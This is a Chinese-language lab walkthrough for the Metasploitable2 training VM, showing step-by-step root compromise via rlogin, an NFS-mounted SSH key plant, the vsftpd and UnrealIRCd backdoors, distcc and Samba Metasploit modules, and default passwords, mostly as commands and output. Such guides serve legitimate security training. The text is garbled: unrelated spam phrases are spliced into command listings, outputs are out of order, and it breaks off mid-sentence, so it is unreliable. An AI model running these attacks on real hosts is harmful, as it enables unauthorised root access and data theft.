Metasploitable2使用指南
Metasploitable2使⽤指南
Metasploitable 2
Metasploitable2 虚拟系统是⼀个特别制作的ubuntu操作系统,本⾝设计作为安全⼯具测试和演⽰常见漏洞攻击。版本2已经可以下载,并且⽐上⼀个版本包含更多可利⽤的安全漏洞。这个版本的虚拟系统兼容VMware,VirtualBox,和其他虚拟平台。默认只开启⼀个⽹络适配器并且开启NAT和Host-only,本镜像⼀定不要暴漏在⼀个易受攻击的⽹络中。(注:⼀个关于如何安装的视频教程已经可以访问)
这篇⽂档罗列了Metasploitable 2的虚拟系统中的许多安全缺陷。⽬前缺少关于web服务器和web应⽤⽅⾯的安全缺陷。这些缺陷允许本地⽤户提权是root 权限。随着时间的推移,这篇⽂档会继续更新Metasploitable 中不太重要的安全缺陷。
开始⼯作
当虚拟系统启动之后,使⽤⽤户名msfadmin ,和密码msfadmin 登陆。使⽤shell运⾏ifconfig 命令来确认IP 地址。
服务
作为攻击者的操作系统(linux,⼤多数时候使⽤BackTrack),我们需要在虚拟机中通过使⽤nmap来辨认开放的端⼝。接下来的命令能够扫描⽬标系统-Metasploitable 2的所有TCP端⼝。
root@ubuntu:~# nmap -p0-65535 192.168.99.131
Nmap scan report for 192.168.99.131
Host is up (0.00028s latency).
Not shown: 65506 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp  open  rpcbind
电子信息工程就业
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
如何下载网上的视频512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  unknown 8009/tcp  open  ajp13
msfadmin@metasploitable:~$ ifconfig eth0    Link encap:Ethernet  HWaddr 00:0c:29:9a:52:c1          inet addr:192.168.99.131  Bcast:192.168.99.255  Mask:255.255.255.0        inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
8180/tcp  open  unknown
8787/tcp  open  unknown
39292/tcp open  unknown
43729/tcp open  unknown
44813/tcp open  unknown
55852/tcp open  unknown
MAC Address: 00:0C:29:9A:52:C1 (VMware)
⽬标系统中⼏乎每⼀个端⼝监听的服务都给我们提供⼀个远程接⼊点。在接下来的章节中,我们将会漫步于这些路径之中。
服务:Unix基础
TCP端⼝512,513和514为著名的rlogin提供服务。在系统中被错误配置从⽽允许远程访问者从任何地⽅访问(标准的,rhosts + +)。要利⽤这个配置,确保rsh客户端已经安装(在ubuntu上),然后以root权限运⾏下列命令,如果被提⽰需要⼀个SSH秘钥,这表⽰rsh客户端没有安装,ubuntu⼀般默认使⽤SSH。
这是如此轻⽽易举办到。接下来我们要查看的是⽹络⽂件系统(NFS)。NFS可以通过扫描2049端⼝或者查询端⼝映射程序的服务列表进⾏确认。下⾯的列⼦我们将通过rpcinfo来确认NFS,通过showmount -e 来确定“ /”共享(⽂件系统的根⽬录)已经被导出。我们需要安装ubuntu中的rpcbind和nfs-common的依赖包。
root@ubuntu:~# rpcinfo -p 192.168.99.131
program vers proto  port  service
100000    2  tcp    111  portmapper
100000    2  udp    111  portmapper
100024    1  udp  53318  status
杨建结局100024    1  tcp  43729  status
100003    2  udp  2049  nfs
100003    3  udp  2049  nfs
100003    4  udp  2049  nfs
100021    1  udp  46696  nlockmgr
100021    3  udp  46696  nlockmgr
100021    4  udp  46696  nlockmgr
100003    2  tcp  2049  nfs
100003    3  tcp  2049  nfs
100003    4  tcp  2049  nfs
100021    1  tcp  55852  nlockmgr
100021    3  tcp  55852  nlockmgr
100021    4  tcp  55852  nlockmgr
100005    1  udp  34887  mountd
100005    1  tcp  39292  mountd
100005    2  udp  34887  mountd
100005    2  tcp  39292  mountd
100005    3  udp  34887  mountd
100005    3  tcp  39292  mountd
root@ubuntu:~# showmount -e 192.168.99.131
Export list for 192.168.99.131:
/ *
获取⼀个系统的可写⼊的⽂件系统权限是很简单的。我们需要在攻击者的系统上创建⼀个新的SSH秘钥,挂载NFS接⼝,然后把我们的秘钥添加到root使⽤者账号的认证秘钥⽂件⾥:root@ubuntu:~# ssh-keygen
# rlogin -l root 192.168.99.131Last login: Fri Jun  1 00:10:39 EDT 2012 from :0.0 on pts/0Linux meta
国庆的诗
sploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t
root@ubuntu:~# ssh root@192.168.99.131
Last login: Fri Jun  1 00:29:33 2012 from 192.168.99.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
服务:后门
Metasploitable2 在21端⼝上运⾏着vsftpd服务,⼀个使⽤⼴泛的FTP服务。这个特别的版本包含⼀个后门允许⼀个未知的⼊侵者进⼊核⼼代码。这个后门很快就被确认并且移除。但是移除之前已经被少数⼈下载下来。如果在发送的⽤户名后⾯加上”:)“(笑脸符号),这个版本的后门会在6200端⼝上打开⼀个监听的shell。我们可以通过telnet确认或者通过metasploit上⾯的攻击模块⾃动攻击。
root@ubuntu:~# telnet 192.168.99.131 21
Trying 192.168.99.131…
Connected to 192.168.99.131.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]
telnet> quit
Connection closed.
root@ubuntu:~# telnet 192.168.99.131 6200
Trying 192.168.99.131…
Connected to 192.168.99.131.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)
在Metasploitable2 的6667端⼝上运⾏着UnreaIRCD IRC的守护进程。这个版本包含⼀个后门-运⾏了⼏个⽉都没被注意到。通过在⼀个系统命令后⾯添加两个字母”AB“发送给被攻击服务器任意⼀个监听该端⼝来触发。metasploit上已经已经有攻击模块来获得⼀个交互的shell,请看下⾯列⼦。
msfconsole
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf  exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
msf  exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started reverse double handler
[*] Connected to 192.168.99.131:6667…
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname..
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your host    name; using your IP address instead
[*] Sending backdoor command…
[*] Accepted the first client connection…
[*] Accepted the second client connection…
[*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets…
[*] Reading from socket B
[*] B: "8bMUYsfmGvOLHBxe\r\n"
[*] Matching…
[*] A is input…
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700
id
uid=0(root) gid=0(root)
在少数服务器上存在⼀个古⽼的令⼈惊讶的“ingreslock”后门,监听1524端⼝。在过去的⼗年⾥,它经常被⽤于⼊侵⼀个暴露的服务器。它的利⽤是如此简单。
root@ubuntu:~# telnet 192.168.99.131 1524
Trying 192.168.99.131…
Connected to 192.168.99.131.
Escape character is '^]'.
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)
服务:⽆意识的后门
除了上个部分介绍的恶意的后门以外,⼀些程序的性质本⾝就类似后门。Metasploitable2 最先安装的是distccd。这个程序可以使⼤量代码在⽹络服务器上进⾏分布式编译。问题是攻击者可以滥⽤它来实现⼀些他们想运⾏的命令。metasploit在下⾯例⼦⾥证明。
msfconsole
msf > use exploit/unix/misc/distcc_exec
msf  exploit(distcc_exec) > set RHOST 192.168.99.131
msf  exploit(distcc_exec) > exploit
[*] Started reverse double handler
[*] Accepted the first client connection…
[*] Accepted the second client connection…
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets…
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching…
[*] A is input…
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
samba,当配置为⽂件权限可写同时"wide links" 被允许(默认就是允许),同样可以被作为后门⽽仅仅是⽂件共享。下⾯例⼦⾥,metasploit提供⼀个攻击模块,允许接⼊⼀个root⽂件系统通过⼀个匿名接⼊和可写⼊的共享设置。
root@ubuntu:~# smbclient -L //192.168.99.131
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
Sharename      Type      Comment
———      —-      ——-
print$          Disk      Printer Drivers
tmp            Disk      oh noes!
opt            Disk
IPC$            IPC      IPC Service (metasploitable server (Samba 3.0.20-Debian))
ADMIN$          IPC      IPC Service (metasploitable server (Samba 3.0.20-Debian))
root@ubuntu:~# msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf  auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131
msf  auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf  auxiliary(samba_symlink_traversal) > exploit
[*] Connecting to the server…
[*] Trying to mount writeable share 'tmp'…
[*] Trying to link 'rootfs' to the root filesystem…
[*] Now access the following share to browse the root filesystem:
[*]    \\192.168.99.131\tmp\rootfs\
msf  auxiliary(samba_symlink_traversal) > exit
root@ubuntu:~# smbclient //192.168.99.131/tmp
Anonymous login successful
表示连续不断的词语Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
核桃木
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[..]
弱⼝令
除了上⾯介绍的公开的后门和错误配置以外,Metasploit2 上不管是系统还是数据⼝账户都有⾮常严重的弱⼝令问题。最初的管理员登陆密码和登录
名msfadmin相同。通过查看系统的⽤户名表,我们可以通过使⽤缺陷来捕获passwd⽂件,或者通过Samba枚举这些⽤户,或者通过暴⼒破解来获得账号密码。系统中⾄少有⼀下弱⼝令。
Account Name Password
msfadmin msfadmin
user user
postgres postgres
sys batman
klog123456789
service service
除了这些系统层⾯的账户,PostgreSQL 服务可以通过默认的⽤户名postgres和密码postgres登陆。MySQL 服务也开放,⽤户名为root同时为空⼝令。VNC服务提供⼀个远程桌⾯接⼊服务通过使⽤默认的密码password可以登陆。
易受攻击的web服务
在写这篇⽂章的当前版本,所有web应⽤程序

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。